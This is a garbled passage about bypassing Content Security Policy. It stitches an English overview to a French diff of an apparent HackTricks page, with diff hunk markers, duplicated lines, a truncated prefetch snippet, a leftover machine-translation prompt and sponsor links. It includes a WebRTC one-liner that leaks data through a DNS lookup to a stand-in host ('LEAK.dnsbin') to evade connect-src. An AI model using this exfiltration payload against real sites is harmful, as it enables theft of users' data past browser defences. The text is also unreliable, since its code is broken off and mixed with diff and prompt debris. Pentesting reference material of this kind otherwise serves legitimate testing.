Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. CSP works by defining the sources from which certain types of content can be loaded on a web page. This helps to prevent unauthorized execution of scripts and other potentially harmful content.
#### Bypassing CSP
There are several ways to bypass CSP protections, including:
1. **Inline Script Execution**: By finding ways to execute scripts inline within the HTML document.
2. **External Script Execution**: Loading scripts from unauthorized sources or bypassing restrictions on script sources.
3. **Data Injection**: Injecting data into the page to execute malicious scripts.
4. **Dynamic Evaluation**: Dynamically evaluating code to bypass CSP restrictions.
5. **Nonce Bypass**: Finding ways to bypass nonce-based CSP protections.
By understanding these techniques, you can effectively test the security of web applications that have CSP implemented.
Une autre méthode consiste à utiliser des techniques telles que l'inclusion de scripts à partir de sources autorisées ou l'utilisation de certaines directives CSP pour contourner la politique de sécurité du contenu.
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
@ -776,15 +732,17 @@ Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (
Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP.
En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Consultez ce code:
En fait, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Consultez ce code :
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
### French Translation:
Le contenu suivant est extrait d'un livre sur les techniques de piratage. Le contenu suivant provient du fichier pentesting-web/content-security-policy-csp-bypass/README.md.
Le contenu suivant est extrait d'un livre sur le piratage informatique concernant les techniques de piratage. Le contenu suivant est issu du fichier pentesting-web/content-security-policy-csp-bypass/README.md.
Traduisez le texte anglais pertinent en français et renvoyez la traduction en conservant exactement la même syntaxe markdown et html. Ne traduisez pas les éléments tels que le code, les noms de techniques de piratage, les mots de piratage, les noms de plateformes cloud/SaaS (comme Workspace, aws, gcp...), le mot 'leak', pentesting et les balises markdown. N'ajoutez rien d'autre à part la traduction et la syntaxe markdown.
```markdown
### French Translation:
```
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -819,7 +777,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
**Perspectives sur le piratage**\
Engagez-vous avec du contenu qui explore les défis et l'excitation du piratage
@ -838,7 +796,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**